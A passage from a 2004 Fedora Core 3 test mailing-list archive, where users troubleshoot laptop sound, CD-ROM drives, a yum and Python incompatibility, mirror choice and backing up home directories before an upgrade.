snd_intel8x0m,snd_intel8x0 snd_pcm_oss 47609 0 snd_mixer_oss 17217 2 snd_pcm_oss snd_pcm 97993 3 snd_intel8x0m,snd_intel8x0,snd_pcm_oss snd_timer 29765 1 snd_pcm snd_page_alloc 9673 3 snd_intel8x0m,snd_intel8x0,snd_pcm gameport 4801 1 snd_intel8x0 snd_mpu401_uart 8769 1 snd_intel8x0 snd_rawmidi 26725 1 snd_mpu401_uart snd_seq_device 8137 1 snd_rawmidi snd 54053 14 snd_intel8x0m,snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device soundcore 9889 2 snd orinoco_cs 9545 1 ds 16965 7 orinoco_cs pcmcia_core 59913 3 yenta_socket,orinoco_cs,ds orinoco 47053 1 orinoco_cs hermes 7617 2 orinoco_cs,orinoco 8139too 26305 0 mii 4673 1 8139too reiserfs 244245 1 [root at localhost ~]# rpm -qa|grep alsa alsa-lib-1.0.6-3 alsa-lib-devel-1.0.6-3 alsa-utils-1.0.6-3 [root at localhost ~]# system-config-soundcard Simple mixer control 'PCM',0 Capabilities: pvolume pswitch pswitch-joined Playback channels: Front Left - Front Right Limits: Playback 0 - 31 Front Left: Playback 23 [74%] [on] Front Right: Playback 23 [74%] [on] Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : Signed 16 bit Little Endian, Rate 44100 Hz, Stereo aplay: pcm_write:1115: write error: Input/output error Darek Borkowski From balay at fastmail.fm Tue Nov 9 21:04:50 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 9 Nov 2004 15:04:50 -0600 (CST) Subject: Still no sound from intel 852 In-Reply-To: <38f00b2a041109130111c3adc9@mail.gmail.com> References: <38f00b2a041109130111c3adc9@mail.gmail.com> Message-ID: On Tue, 9 Nov 2004, Darek Borkowski wrote: > Hi, > I did a fresh/clean install form oficial FC3 isos but htere is no soun > on my laptop (as before). Maybe you can try this.. http://www.redhat.com/archives/fedora-test-list/2004-November/msg00734.html Satish From lux at diesel-research.com Tue Nov 9 21:05:06 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 09 Nov 2004 14:05:06 -0700 Subject: Still no sound from intel 852 In-Reply-To: <38f00b2a041109130111c3adc9@mail.gmail.com> References: <38f00b2a041109130111c3adc9@mail.gmail.com> Message-ID: <1100034306.4392.0.camel@localhost.localdomain> I just did an update from FC3rc5 to FC3 release via the ISO CDROMs. I've got the same problem. On Tue, 2004-11-09 at 22:01 +0100, Darek Borkowski wrote: > Hi, > I did a fresh/clean install form oficial FC3 isos but htere is no soun > on my laptop (as before). > > [root at localhost ~]# lsmod > Module Size Used by > i915 76869 3 > parport_pc 24705 1 > lp 11565 0 > parport 41737 2 parport_pc,lp > autofs4 24005 0 > i2c_dev 10433 0 > i2c_core 22081 1 i2c_dev > sunrpc 160421 1 > ext3 116809 1 > jbd 74969 1 ext3 > dm_mod 54741 0 > button 6481 0 > battery 8517 0 > ac 4805 0 > md5 4033 1 > ipv6 232577 8 > yenta_socket 18753 1 > uhci_hcd 31449 0 > ehci_hcd 31557 0 > snd_intel8x0m 18185 0 > snd_intel8x0 34829 3 > snd_ac97_codec 64401 2 snd_intel8x0m,snd_intel8x0 > snd_pcm_oss 47609 0 > snd_mixer_oss 17217 2 snd_pcm_oss > snd_pcm 97993 3 snd_intel8x0m,snd_intel8x0,snd_pcm_oss > snd_timer 29765 1 snd_pcm > snd_page_alloc 9673 3 snd_intel8x0m,snd_intel8x0,snd_pcm > gameport 4801 1 snd_intel8x0 > snd_mpu401_uart 8769 1 snd_intel8x0 > snd_rawmidi 26725 1 snd_mpu401_uart > snd_seq_device 8137 1 snd_rawmidi > snd 54053 14 > snd_intel8x0m,snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixer_oss,snd_pcm,snd_timer,snd_mpu401_uart,snd_rawmidi,snd_seq_device > soundcore 9889 2 snd > orinoco_cs 9545 1 > ds 16965 7 orinoco_cs > pcmcia_core 59913 3 yenta_socket,orinoco_cs,ds > orinoco 47053 1 orinoco_cs > hermes 7617 2 orinoco_cs,orinoco > 8139too 26305 0 > mii 4673 1 8139too > reiserfs 244245 1 > > [root at localhost ~]# rpm -qa|grep alsa > alsa-lib-1.0.6-3 > alsa-lib-devel-1.0.6-3 > alsa-utils-1.0.6-3 > > [root at localhost ~]# system-config-soundcard > Simple mixer control 'PCM',0 > Capabilities: pvolume pswitch pswitch-joined > Playback channels: Front Left - Front Right > Limits: Playback 0 - 31 > Front Left: Playback 23 [74%] [on] > Front Right: Playback 23 [74%] [on] > Playing WAVE '/usr/share/system-config-soundcard/sound-sample.wav' : > Signed 16 bit Little Endian, Rate 44100 Hz, Stereo > aplay: pcm_write:1115: write error: Input/output error > > > Darek Borkowski > -- Kim Lux (Mr.) Diesel Research Inc From terraformers at gmx.net Tue Nov 9 20:40:42 2004 From: terraformers at gmx.net (Lars) Date: Tue, 09 Nov 2004 21:40:42 +0100 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 References: Message-ID: hmmm after updating yum i get the same error here... its already in bugzilla. -- No Software Patents! http://nosoftwarepatents.com Get Firefox! http://spreadfirefox.com From kourounis at hotmail.com Tue Nov 9 21:12:45 2004 From: kourounis at hotmail.com (Drosos Kourounis) Date: Tue, 09 Nov 2004 23:12:45 +0200 Subject: fedora-test-list Digest, Vol 9, Issue 56 Message-ID: I checked the MD5SUM file and the DVD iso image I downloaded failed I downloaded that thing twice from different mirros and at the moment I am downloading from the bittorrent! I hope the file from the bittorrent will not have such problems! _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.com/ From david.frankstrial at uicl.co.uk Tue Nov 9 21:21:30 2004 From: david.frankstrial at uicl.co.uk (David Franks) Date: Tue, 09 Nov 2004 21:21:30 +0000 Subject: Vaio Z600 CDRom Message-ID: <1100035290.3415.8.camel@localhost.localdomain> Hi, I am not an experienced Linux user, but am keen to move away from Windows if I can get my laptop to do all the things I need. Have installed the final release of FC3 and was thrilled how smoothly it went. I did a hard disk install rather than a CDRom to avoid burning unnecessary CDs. However I now can't get my laptop to recognise the CDRom drive which is a PCMCIA CD51/A. I've googled and tried a variety of "ide2(and ide1)=0x86,0x386" additions to the linux boot line, but this just causes the boot process to hang at the "remounting filesystem" stage. Has anyone any suggestions as to how to get the CDRom recognised? "Getting Desperate of Hertfordshire" David Franks From maze at cela.pl Tue Nov 9 21:37:12 2004 From: maze at cela.pl (=?ISO-8859-2?Q?Maciej_=AFenczykowski?=) Date: Tue, 9 Nov 2004 22:37:12 +0100 (CET) Subject: fedora-test-list Digest, Vol 9, Issue 56 In-Reply-To: References: Message-ID: > I checked the MD5SUM file and the DVD iso image I downloaded failed > I downloaded that thing twice from different mirros and at the moment I am > downloading from the bittorrent! > > I hope the file from the bittorrent will not have such problems! You did feed the failed file into bittorrent, so that it could resume? You'd have likely saved yourself 99% of the data transfer. Cheers, MaZe. From mmarshall at pingtel.com Tue Nov 9 22:01:52 2004 From: mmarshall at pingtel.com (Mardy Marshall) Date: Tue, 09 Nov 2004 17:01:52 -0500 Subject: Still no sound from intel 852 In-Reply-To: References: <38f00b2a041109130111c3adc9@mail.gmail.com> Message-ID: <1100037712.3486.2.camel@moot.pingtel.com> Success!!! I added "snd-intel8x0m" to the blacklist and now my HP pavilion zd7260 can finally speak to me. The silence these past few months has been deafening. On Tue, 2004-11-09 at 15:04 -0600, Satish Balay wrote: > > On Tue, 9 Nov 2004, Darek Borkowski wrote: > > > Hi, > > I did a fresh/clean install form oficial FC3 isos but htere is no soun > > on my laptop (as before). > > Maybe you can try this.. > > http://www.redhat.com/archives/fedora-test-list/2004-November/msg00734.html > > Satish > From lux at diesel-research.com Tue Nov 9 22:14:12 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 09 Nov 2004 15:14:12 -0700 Subject: Still no sound from intel 852 In-Reply-To: References: <38f00b2a041109130111c3adc9@mail.gmail.com> Message-ID: <1100038452.3754.10.camel@localhost.localdomain> Thank you very much ! After 3 weeks of having no sound, I've finally got sound. I added snd-intel8x0m to /etc/hotplug/blacklist and rebooted. I went to the KDE->ControlCenter->Sound & Multimedia-> Sound System- >Enable. Then I went to KDE->System Settings->Soundcard Detection. It detected my soundcard and it has worked ever since. Thanks. On Tue, 2004-11-09 at 15:04 -0600, Satish Balay wrote: > > On Tue, 9 Nov 2004, Darek Borkowski wrote: > > Hi, > > I did a fresh/clean install form oficial FC3 isos but htere is no soun > > on my laptop (as before). > > Maybe you can try this.. > > http://www.redhat.com/archives/fedora-test-list/2004-November/msg00734.html > > Satish > -- Kim Lux (Mr.) Diesel Research Inc From paul at all-the-johnsons.co.uk Tue Nov 9 22:20:30 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 09 Nov 2004 22:20:30 +0000 Subject: The fastest mirror to be updated Message-ID: <1100038830.27345.73.camel@localhost.localdomain> Hi, My local mirror (zeniiia.org.uk) is a touch slow at getting the latest rawhide updates and I want to ease the pressure off the main RH servers. Which mirrors update the soonest after RH? TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... 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But that doesn't work. And I've read > people saying that cd writing is bad with ide-scsi. Its not "bad", its just an uglier interface. > hdc: _NEC DVD+RW ND-5100A, ATAPI CD/DVD-ROM drive You might want to also add a bug to bugzilla.kernel.org for this, and let Jens Axboe/Bartlomiej know too - its an interesting bug and one I've not seen elsewhere. The other "need ide-scsi" cases are multichangers and we understand that fine From alan at redhat.com Tue Nov 9 22:57:40 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 9 Nov 2004 17:57:40 -0500 Subject: Vaio Z600 CDRom In-Reply-To: <1100035290.3415.8.camel@localhost.localdomain> References: <1100035290.3415.8.camel@localhost.localdomain> Message-ID: <20041109225740.GC1358@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 09:21:30PM +0000, David Franks wrote: > However I now can't get my laptop to recognise the CDRom drive which is > a PCMCIA CD51/A. > I've googled and tried a variety of "ide2(and ide1)=0x86,0x386" > additions to the linux boot line, but this just causes the boot process > to hang at the "remounting filesystem" stage. > > Has anyone any suggestions as to how to get the CDRom recognised? For the install the magic ide1=0x180,0x386 should work Post install it should automatically be found and attached as a pcmcia device at the end of boot using ide-cs. If it is cardbus it may not be supported. If it is cardbus however let me know the pci ids and we can see what we can do From karzuh at ya.com Tue Nov 9 23:05:33 2004 From: karzuh at ya.com (David Diaz) Date: Wed, 10 Nov 2004 00:05:33 +0100 Subject: The fastest mirror to be updated In-Reply-To: <1100038830.27345.73.camel@localhost.localdomain> References: <1100038830.27345.73.camel@localhost.localdomain> Message-ID: <41914D3D.7090107@ya.com> I'm downloading my fedora RC? from ftp://ftp.rediris.es/mirror/fedora.redhat/3/i386/iso/ up to 25kb... cheers david Paul escribi?: >Hi, > >My local mirror (zeniiia.org.uk) is a touch slow at getting the latest >rawhide updates and I want to ease the pressure off the main RH servers. > >Which mirrors update the soonest after RH? > >TTFN > >Paul > > From alan at redhat.com Tue Nov 9 23:05:55 2004 From: alan at redhat.com (Alan Cox) Date: Tue, 9 Nov 2004 18:05:55 -0500 Subject: The fastest mirror to be updated In-Reply-To: <1100038830.27345.73.camel@localhost.localdomain> References: <1100038830.27345.73.camel@localhost.localdomain> Message-ID: <20041109230555.GE1358@devserv.devel.redhat.com> On Tue, Nov 09, 2004 at 10:20:30PM +0000, Paul wrote: > My local mirror (zeniiia.org.uk) is a touch slow at getting the latest > rawhide updates and I want to ease the pressure off the main RH servers. Sorry about that - the box is suffering a bit right now from FC3 From skvidal at phy.duke.edu Tue Nov 9 23:50:23 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 09 Nov 2004 18:50:23 -0500 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 In-Reply-To: References: Message-ID: <1100044222.26208.2.camel@opus.phy.duke.edu> On Tue, 2004-11-09 at 15:40, Lars wrote: > hmmm after updating yum i get the same error here... > its already in bugzilla. > you updated to rawhide and things broke in rawhide. -sv From tim at birdsnest.maths.tcd.ie Tue Nov 9 23:52:39 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Tue, 9 Nov 2004 23:52:39 +0000 Subject: can yum handle source rpms? In-Reply-To: References: Message-ID: <200411092352.39775.tim@birdsnest.maths.tcd.ie> On Tuesday 09 November 2004 17:44, Neal D. Becker wrote: > Is yum now able to handle source rpms? Didn't it always? It seems to put the sources under the directory specified in .rpmmacros for me. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From terraformers at gmx.net Wed Nov 10 00:24:19 2004 From: terraformers at gmx.net (Lars) Date: Wed, 10 Nov 2004 01:24:19 +0100 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 References: <1100044222.26208.2.camel@opus.phy.duke.edu> Message-ID: seth vidal wrote: > On Tue, 2004-11-09 at 15:40, Lars wrote: >> hmmm after updating yum i get the same error here... >> its already in bugzilla. >> > > you updated to rawhide and things broke in rawhide. > > -sv > > true :) -- No Software Patents! http://nosoftwarepatents.com Get Firefox! http://spreadfirefox.com From fct-cornette at insight.rr.com Wed Nov 10 01:40:24 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Tue, 09 Nov 2004 20:40:24 -0500 Subject: FC3RC5 is doing something on partition mount In-Reply-To: <200411091533.06702.gene.heskett@verizon.net> References: <200411091533.06702.gene.heskett@verizon.net> Message-ID: <41917188.70507@insight.rr.com> Gene Heskett wrote: > Greetings; > > I have a dual boot system, one side is FC3RC5, and the other side is a > mixed debian/morphix/rtai install. > > The only shared piece of any disk in the system is /boot, with grub > installed in the MBR. > > I do have entries in the FC3RC5 /etc/fstab file that does a cross > mount so that I can move stuff back and forth between its normal; > boot, and booting up the Brain Dead Install (BDI) to run the emc > (electronic machine control, or CNC) program. > > The mount operation when FC3RC5 is booted is doing something to the > BDI installs partition that renders it incapable of being checked > with exactly the same version of e2fsck, each one calling itself 1.35 > TBE. It reports that this filesystem contains options that are not > supported by this version of e2fsck, and that I should get a newer > one and try again. > > The only thing that I have been able to do to get BDI to reboot, is > to put in the cd and reinstall it, meaning it will mke3fs > on /dev/hda5 as it does so. This takes about 2 hours as the machine > and the cd are both getting old and slow like me. > > Then it will reboot, and its /etc/fstab then mounts the FC3RC5 > partition just fine. > > Which of the mount options in the FC3RC5 bootup's fstab do I remove to > prevent this screwing with the other boots data? Or do I have to > remove the FC3's /etc/fstab mount of it entirely, which will be a > pita as the other sides networking isn't just yet. > The /etc/modules.conf link is on the missing list when booted to BDI. > This problem was noticed by me when trying to boot any FC system that is pre-FC3T1 with systems that are later than FC3T2. I got booted to a maint shell on the pre-fc3T2 systems. I guessed that the culpret was autofs. Anyway, you can either remove the /etc/fstab from pre-FC3T2 systems or disable the filechecking for the volumes. I know that I was able to mount FC3T2 and later volumes within an FC2 system after the system booted. I hope you can make sense of what I'm trying to explain. Good Luck, Jim From fct-cornette at insight.rr.com Wed Nov 10 02:00:30 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Tue, 09 Nov 2004 21:00:30 -0500 Subject: FC3 - wrong screen resolution In-Reply-To: <41912D99.7040809@broadpark.no> References: <41912D99.7040809@broadpark.no> Message-ID: <4191763E.3010604@insight.rr.com> Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > I have now installed fc3 to my desktop an IBM PC300PL with an IBM912 > T521 LCD screen the video card is VESA > > I have the same problem as when installing fc2, however I have not kept > the description on how this was fixed as I didn't believe the problem > would return. > > I am able to configure display settings correct, both screen and video > card. The problem is that the computer does not recognize this, though > it looks like the background has the correct resolution. However, all > applications comes up with 640x480 resolution. > > When I go to preferences ==> screen resolution the only option is 640x480. > > Any suggestions? I looked up the specs for your desktop. The video info is below. The vesa driver is sort of a generic driver. Is the S3 Trio listed? Have you tried to add the desired resolution into your xorg.conf file? Say "1024x768" "800x600" in front of the "640x480" entry? Jim Monitor and Graphics Video Integration Integrated Installed Video Memory 4 MB Included Video Card Graphic card - AGP - S3 Trio3D integrated > > Regards, > Truls From fct-cornette at insight.rr.com Wed Nov 10 02:24:18 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Tue, 09 Nov 2004 21:24:18 -0500 Subject: What I hope is not in FC3 In-Reply-To: References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> Message-ID: <41917BD2.1020404@insight.rr.com> Maciej ?enczykowski wrote: >>2.4.x works 2.6.x doesnt. Upgrade to the ide-scsi driver and it will work >>as will eject. > > > Eject doesn't work on 2.6? On my FC2 box it works fine. > > nb. what's the problem with "md5sum /dev/cdrom", since "dd if=/dev/cdrom > bs=2048 count=[number of sectors] | md5sum" works. So obviously the > problem is that tries to read past the end of the CD, isn't this > information included on the CD, can't this information be used to limit > the size of the device? Or is there something I'm not getting that causes > end of device I/O errors to be required. > > (Of course DVD's have a 32KB not 2KB sector size which would screw up > md5sum's even if it stopped reading at the end of the device cause ISO > images are 2KB multiples, maybe cdrecord should be fixed to auto-pad large > images (>1GB) to a multiple of 32KB?) > > Cheers, > MaZe. > I started the installation with no parameters and disc 1 failed. I then rebooted and entered linux ide=nodma and checked disc 1 again. The disc passed and so did the other 3 discs. Dave Jones suggested the option on the regular fedora-list in response to a user that experienced the error. I don't know if adding the ide-scsi option would have worked as well. Jim From terraformers at gmx.net Wed Nov 10 02:32:20 2004 From: terraformers at gmx.net (Lars) Date: Wed, 10 Nov 2004 03:32:20 +0100 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 References: <1100044222.26208.2.camel@opus.phy.duke.edu> Message-ID: Lars wrote: > seth vidal wrote: > >> On Tue, 2004-11-09 at 15:40, Lars wrote: >>> hmmm after updating yum i get the same error here... >>> its already in bugzilla. >>> >> >> you updated to rawhide and things broke in rawhide. >> >> -sv >> >> > > true :) > > a fix is here https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 L -- No Software Patents! http://nosoftwarepatents.com Get Firefox! http://spreadfirefox.com From skvidal at phy.duke.edu Wed Nov 10 03:20:18 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 09 Nov 2004 22:20:18 -0500 Subject: yum-2.1.11-4 not playing well with python-2.4-0.b2.1 In-Reply-To: References: <1100044222.26208.2.camel@opus.phy.duke.edu> Message-ID: <1100056818.3258.18.camel@binkley> On Wed, 2004-11-10 at 03:32 +0100, Lars wrote: > Lars wrote: > > > seth vidal wrote: > > > >> On Tue, 2004-11-09 at 15:40, Lars wrote: > >>> hmmm after updating yum i get the same error here... > >>> its already in bugzilla. > >>> > >> > >> you updated to rawhide and things broke in rawhide. > >> > >> -sv > >> > >> > > > > true :) > > > > > > a fix is here > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138535 > No, that's not a good fix. It patches python, that's probably not the best place, despite the fact that it looks like a backward compat break. -sv From pohyg75 at yahoo.com Wed Nov 10 03:25:40 2004 From: pohyg75 at yahoo.com (Paul Yang Ming) Date: Tue, 9 Nov 2004 19:25:40 -0800 (PST) Subject: Problem installing with Compaq A110 Message-ID: <20041110032540.36767.qmail@web52709.mail.yahoo.com> Hi! I am having problem installing FC2 and FC3 on Compaq A110. "Probe monitor type: unknown monitor." It went blank after "1.. ". I manage to get mandrake installed on in it. but it had to fell back to a mechanism as the monitor lack of some support. Anyone facing this problem? Is there an alternative method to install Fc3? Thanks. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From drkludge at cox.net Wed Nov 10 04:37:42 2004 From: drkludge at cox.net (Greg Morgan) Date: Tue, 09 Nov 2004 21:37:42 -0700 Subject: Preparing to upgrade - some questions In-Reply-To: <41910759.3060506@broadpark.no> References: <41910759.3060506@broadpark.no> Message-ID: <41919B16.8080906@cox.net> Truls Gulbrandsen wrote: > Hi, > I am preparing to upgrade from fc2 to fc3 and have made a backup of my > /home directory. That is a good start. > > Are there other directories or files that should be copied before I > upgrade? It depends. If you are running your mail or databases on this PC, then you should consider the files stored in /var. For example /var/spool/mail has each users incoming mail file. The home directory may have mail folders. This all depends on clients and servers in play for your mail configuration. In the Red Hat world, perhaps, Linux Standards Base, LSB, too, /var contains database, web, and other "growing" related directories/filesystems. You can skip /var/log, however. > Will the upgrade option give me a complete installation or will it only > upgrade files and modules already installed? Anaconda stores two files in the /root/ directory. They are upgrade.log and install.log. Both come into play in an upgrade. They will have messages like "The following packages were available in this version but NOT upgraded:" Based on that message, I'd say that it would upgrade just the packages that you have on the current system. RPM dependencies will force other packages to be installed that may not have been on the prior version. > > If I do a complete new installation will it be sufficient to install > additional programs such as gramps, thunderbird and firefox and then I use NFS mounted homes so I am not sure this is the correct answer. In other words, my home directories are not mounted while anaconda is running. However, I have noticed that the applications take care of changes to your .files or .directories located in your home directory, when a new or upgraded application runs for the first time after installation. That application takes care of it. > copy the content of /home back to the hd to make it all work with data, > bookmarks and stored mail? Be careful here. Your bookmarks are stored in a ., dot directory. I have an associate at work who rails against Red Hat because the installer does not save his configuration information. Well this really is a Problem Exists Between Chair AND Keyboard, PEBCAK. If you copy all your files off and format everything, then you must pick up the dot files too or you will lose your personal configuration. Use tar or pax. If you did just a cp -r -p /home new_location, then all your dot files would be lost. You have to add cp -r -p /home/*/.[a-zA-Z0-9]* new_location in another pass to copy the dot files too. You must backup the dot files and then correctly restore them to save your bookmarks and gnome desktop configuration, etc. In the case of Mozilla, the bookmarks and mail folders are stored in .mozilla directory in each user's home directory. Take a look at these with ls -laF to see all the dot files. You will not see them with just an ls -l. I just came across the pax command. The -rw mode is a copy function. The preserve, -p eop, options may be redundant but it works ok. I used it to copy several user's home directories with all their dot files to a new server via nfs recently. I left myself with a captain's log that you could adapt for this process. You must copy from the source directory! # Copy all the files from /home to /home # 1. Mount the source directory into /mnt/cdrom # I was too lazy to make a new mount point. # mount -t nfs baloo:/home /mnt/cdrom # 2. cd into source directory # cd /mnt/cdrom # 2. The target directory should have been created above # 3. pax -rw -p eop . /targetdir # pax -rw -p eop . /home # 4. Unmount the source directory # umount /mnt/cdrom Pax can also operate on tar and cpio files. You can also copy files by user, etc.--it's very powerful. For what it is worth, I found it on MS Windows 2000 at work. I am sure Billy Boy thought we would tar and cpio all our files up and untar them on MS Windows with one combination command. However, pax might make MS Windows useful as a work around until a Linux box is available. ;-) > > Any thing else I should be aware of in order to restore my pc with fc3 > without too much trouble? > You may not have time to do this right now if you are biting the bit to get FC3 installed. I have kickstart files that rebuild all the configuration information. Hence, I don't worry about the /etc directory. I have my /home directory in a separate partition on my NFS server. When I upgrade it, while using disk druid, I recreate the mount point for /home, but I do not check the box to format /home. You may want to move your home directory to a separate partition, if you have time during this install. It will save you some time during future installs. You'd back up home, but you wouldn't have to copy the files back for each install unless you had an unplanned failure. :-( Have fun, Greg From DwaineGarden at rogers.com Wed Nov 10 04:37:43 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Tue, 09 Nov 2004 23:37:43 -0500 Subject: Getting SPRING Multi-Card media reader working under Fedora Message-ID: <41919B17.2080503@rogers.com> I have a six-in-one media reader. The first slot works fine in Fedora. I did read that some devices need probing of the scsi lun's. There was some information that needed to be provided to get the fedora team to make the necessary changes, so the device could work without enabling probing of LUN's in the kernel. I have the Spring-Rev1.1 Multi 6-in-one media reader. I would like to get the device to work with different storage media. Could someone let me know what information is required. I then get the information and open up a bugzilla report on it. Dwaine. From pauljohn at ku.edu Wed Nov 10 05:08:01 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Tue, 09 Nov 2004 23:08:01 -0600 Subject: CDROM problems in fc3 (was Re: What I hope is not in FC3 In-Reply-To: <20041109225359.GA1358@devserv.devel.redhat.com> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> <41911CDF.2060907@ku.edu> <20041109225359.GA1358@devserv.devel.redhat.com> Message-ID: <4191A231.7070004@ku.edu> Thanks. It looks to me like somebody has already started a similar/same bug report for a previous edition of the kernel: http://bugzilla.kernel.org/show_bug.cgi?id=2769 so i tacked on some comments. The maintainer seems to think the problem should have been solved by kernel-2.6.7. I hope the developers would rather have these related things on the same bug report, or else I've wasted their time. pj Alan Cox wrote: > On Tue, Nov 09, 2004 at 01:39:11PM -0600, Paul Johnson wrote: > >>The short and sweet is that CDs fail to mount and the message (over and >>over again) is: >> >>kernel: hdc: irq timeout: status=0xd0 { Busy } >>kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d >>kernel: hdc: DMA disabled >>kernel: hdc: ATAPI reset complete > > > Its interesting that ide-scsi works here and ide-cd doesn't. > > >>advised to use ide-cd instead. But that doesn't work. And I've read >>people saying that cd writing is bad with ide-scsi. > > > Its not "bad", its just an uglier interface. > > >>hdc: _NEC DVD+RW ND-5100A, ATAPI CD/DVD-ROM drive > > > You might want to also add a bug to bugzilla.kernel.org for this, and > let Jens Axboe/Bartlomiej know too - its an interesting bug and one I've > not seen elsewhere. > > The other "need ide-scsi" cases are multichangers and we understand that > fine > -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From lux at diesel-research.com Wed Nov 10 06:14:56 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 09 Nov 2004 23:14:56 -0700 Subject: CDROM problems in fc3 (was Re: What I hope is not in FC3 In-Reply-To: <4191A231.7070004@ku.edu> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> <41911CDF.2060907@ku.edu> <20041109225359.GA1358@devserv.devel.redhat.com> <4191A231.7070004@ku.edu> Message-ID: <1100067296.3805.2.camel@localhost.localdomain> My CDROM will mount fine, but it never umount and/or eject properly. The unmounting and ejecting been a problem since FC3rc3 for me. I used to be able to umount it with 'umount -l /dev/hdc' or 'umount - f /dev/hdc'. Tonight however, I am using grip and the only way to eject is to reboot. On Tue, 2004-11-09 at 23:08 -0600, Paul Johnson wrote: > Thanks. > > It looks to me like somebody has already started a similar/same bug > report for a previous edition of the kernel: > > http://bugzilla.kernel.org/show_bug.cgi?id=2769 > > so i tacked on some comments. The maintainer seems to think the problem > should have been solved by kernel-2.6.7. I hope the developers would > rather have these related things on the same bug report, or else I've > wasted their time. > > pj > Alan Cox wrote: > > On Tue, Nov 09, 2004 at 01:39:11PM -0600, Paul Johnson wrote: > > > >>The short and sweet is that CDs fail to mount and the message (over and > >>over again) is: > >> > >>kernel: hdc: irq timeout: status=0xd0 { Busy } > >>kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d > >>kernel: hdc: DMA disabled > >>kernel: hdc: ATAPI reset complete > > > > > > Its interesting that ide-scsi works here and ide-cd doesn't. > > > > > >>advised to use ide-cd instead. But that doesn't work. And I've read > >>people saying that cd writing is bad with ide-scsi. > > > > > > Its not "bad", its just an uglier interface. > > > > > >>hdc: _NEC DVD+RW ND-5100A, ATAPI CD/DVD-ROM drive > > > > > > You might want to also add a bug to bugzilla.kernel.org for this, and > > let Jens Axboe/Bartlomiej know too - its an interesting bug and one I've > > not seen elsewhere. > > > > The other "need ide-scsi" cases are multichangers and we understand that > > fine > > > > > -- > Paul E. Johnson email: pauljohn at ku.edu > Dept. of Political Science http://lark.cc.ku.edu/~pauljohn > 1541 Lilac Lane, Rm 504 > University of Kansas Office: (785) 864-9086 > Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Wed Nov 10 06:22:10 2004 From: lux at diesel-research.com (Kim Lux) Date: Tue, 09 Nov 2004 23:22:10 -0700 Subject: CDROM problems in fc3 (was Re: What I hope is not in FC3 In-Reply-To: <1100067296.3805.2.camel@localhost.localdomain> References: <418D9766.1030204@insight.rr.com> <20041107023938.GB12856@devserv.devel.redhat.com> <1099988634l.3536l.2l@devel.mpeters.us> <20041109102622.GH11935@devserv.devel.redhat.com> <41911CDF.2060907@ku.edu> <20041109225359.GA1358@devserv.devel.redhat.com> <4191A231.7070004@ku.edu> <1100067296.3805.2.camel@localhost.localdomain> Message-ID: <1100067730.3938.3.camel@localhost.localdomain> When I shut down, I get intermittent "hdc lost interrupt" messages. Here is hdparm for my CDROM: # /sbin/hdparm -i /dev/hdc /dev/hdc: Model=HL-DT-ST DVD+RW GCA-4040N, FwRev=1.17, SerialNo= Config={ Fixed Removeable DTR<=5Mbs DTR>10Mbs nonMagnetic } RawCHS=0/0/0, TrkSize=0, SectSize=0, ECCbytes=0 BuffType=unknown, BuffSize=0kB, MaxMultSect=0 (maybe): CurCHS=0/0/0, CurSects=0, LBA=yes, LBAsects=0 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120} PIO modes: pio0 pio1 pio2 pio3 pio4 DMA modes: sdma0 sdma1 sdma2 mdma0 mdma1 *mdma2 AdvancedPM=no * signifies the current active mode # /sbin/hdparm /dev/hdc /dev/hdc: HDIO_GET_MULTCOUNT failed: Invalid argument IO_support = 0 (default 16-bit) unmaskirq = 0 (off) using_dma = 1 (on) keepsettings = 0 (off) readonly = 0 (off) readahead = 256 (on) HDIO_GETGEO failed: Invalid 